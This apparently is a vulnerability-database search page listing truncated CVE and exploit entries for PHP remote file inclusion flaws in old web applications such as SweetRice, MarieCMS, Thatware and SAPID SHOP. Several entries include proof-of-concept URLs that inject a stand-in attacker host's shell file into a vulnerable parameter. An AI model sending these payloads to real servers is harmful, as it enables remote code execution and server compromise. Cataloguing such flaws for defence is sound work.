19447 matches found
Remote file inclusion
PHP remote file inclusion vulnerability in adm/krgourl.php in KR-Web 1.1b2 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the DOCUMENTROOT parameter...
Remote file inclusion
Multiple PHP remote file inclusion vulnerabilities in SweetRice 0.5.4, 0.5.3, and earlier allow remote attackers to execute arbitrary PHP code via a URL in the rootdir parameter to 1 plugin/subscriber/inc/post.php and 2 as/lib/newsmodify.php...
CVE-2009-4224
Multiple PHP remote file inclusion vulnerabilities in SweetRice 0.5.4, 0.5.3, and earlier allow remote attackers to execute arbitrary PHP code via a URL in the rootdir parameter to 1 plugin/subscriber/inc/post.php and 2 as/lib/newsmodify.php...
CVE-2009-4224
The CVE affects SweetRice versions 0.5.4, 0.5.3 and earlier. It describes PHP remote file inclusion via a URL supplied in the root_dir parameter to two paths: _plugin/subscriber/inc/post.php and as/lib/news_modify.php, allowing arbitrary PHP code execution on affected systems. The connected docum...
CVE-2009-4223
KR-Web
CVE-2009-4224
Multiple PHP remote file inclusion vulnerabilities in SweetRice 0.5.4, 0.5.3, and earlier allow remote attackers to execute arbitrary PHP code via a URL in the rootdir parameter to 1 plugin/subscriber/inc/post.php and 2 as/lib/newsmodify.php...
CVE-2009-4220
CVE-2009-4220 affects PointComma prior to 3.8b2. A PHP remote file inclusion vulnerability in includes/classes/pctemplate.php allows an attacker to execute arbitrary PHP code by supplying a URL in the pcConfig[smartyPath] parameter. This results in remote code execution with the attack vector bei...
MarieCMS 0.9 - Local File Inclusion Remote File Inclusion Cross-Site Scripting
MarieCMS 0.9 - Local File Inclusion Remote File Inclusion Cross-Site Scripting OVERVIEW MarieCMS v0.9 vulnerable to following issues: ++ Remote File Inclusion ++ Local File Inclusion ++ Persistent XSS ++ Shell Upload Authenticated User PoC Remote File Inclusion: ++++++++++++++++++++++++...
MarieCMS v0.9 LFI RFI and XSS Vulnerabilities
No description provided by source. OVERVIEW MarieCMS v0.9 vulnerable to following issues: ++ Remote File Inclusion ++ Local File Inclusion ++ Persistent XSS ++ Shell Upload Authenticated User PoC Remote File Inclusion: ++++++++++++++++++++++++...
SiSplet CMS 2008-01-24 - Multiple Remote File Inclusions
SiSplet CMS 3rr0r 2: ./SiSplet-2008-01-24/main/forum/komentar.php line 3 PoC : http://target/path/main/anketa/new.php?sitepath=Shell http://target/path/main/forum/komentar.php?sitepath=Shell Contact Me : cr4wl3r4tlinuxmaildotorg...
MarieCMS 0.9 - Local File Inclusion / Remote File Inclusion / Cross-Site Scripting
OVERVIEW MarieCMS v0.9 vulnerable to following issues: ++ Remote File Inclusion ++ Local File Inclusion ++ Persistent XSS ++ Shell Upload Authenticated User PoC Remote File Inclusion: ++++++++++++++++++++++++ http://server/mariecms/?page=http://attacker/site/shell.txt? Local File Inclusion:...
MarieCMS 0.9 LFI / RFI / XSS
Mutliple Vulnerabilities in MarieCMS v0.9 Name Multiple vulnerabilities in MarieCMS Systems Affected MarieCMS v0.9 Download http://sourceforge.net/projects/mariecms/files/MarieCMS/MarieCMS%200.9/mariecmsv0.9.zip/download Author Amol Naik amolnaik4atgmail.com Date 07/12/2009 OVERVIEW MarieCMS v0.9...
MarieCMS v0.9 LFI, RFI, and XSS Vulnerabilities
Exploit for unknown platform in category web applications =============================================== MarieCMS v0.9 LFI, RFI, and XSS Vulnerabilities =============================================== OVERVIEW MarieCMS v0.9 vulnerable to following issues: ++ Remote File Inclusion ++ Local File...
AROUNDMe 1.1 - 'language_path' Remote File Inclusion
Discovered by cr4wl3r \ Indonesian Hacker 3rr0r: ./aroundme11/aroundme/components/core/connect.php line 25 PoC : http://server/path/components/core/connect.php?languagepath=Shell Contact Me : cr4wl3r4tlinuxmaildotorg Gorontalo / 2009...
AROUNDMe 1.1 - language_path Remote File Inclusion
AROUNDMe 1.1 - languagepath Remote File Inclusion Discovered by cr4wl3r \ Indonesian Hacker 3rr0r: ./aroundme11/aroundme/components/core/connect.php line 25 PoC : http://server/path/components/core/connect.php?languagepath=Shell Contact Me : cr4wl3r4tlinuxmaildotorg Gorontalo / 2009...
Thatware <= 0.5.3 Multiple Remote File Include Exploit
Exploit for unknown platform in category web applications ====================================================== Thatware PoC : http://server/config.php?rootpath=http://attcker/shell.txt??? Vuln : ./thatwarepath/artlist.php line 28 PoC :...
SAPID SHOP 1.3 - Remote File Inclusion
SAPID SHOP 1.3 - Remote File Inclusion Download Script : http://sourceforge.net/projects/sapid/files Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC : http://server/path/usr/extensions/gettree.inc.php?rootpath=http://attacker.com/shell.txt??? Vuln :...
SAPID SHOP 1.3 - Remote File Inclusion
Download Script : http://sourceforge.net/projects/sapid/files Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC : http://server/path/usr/extensions/gettree.inc.php?rootpath=http://attacker.com/shell.txt??? Vuln : ./SAPID-SHOP-1.3/usr/extensions/gettree.inc.php line 11 PoC :...
Remote file inclusion
PHP remote file inclusion vulnerability in modules/pms/index.php in Ciamos CMS 0.9.5 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the modulepath parameter...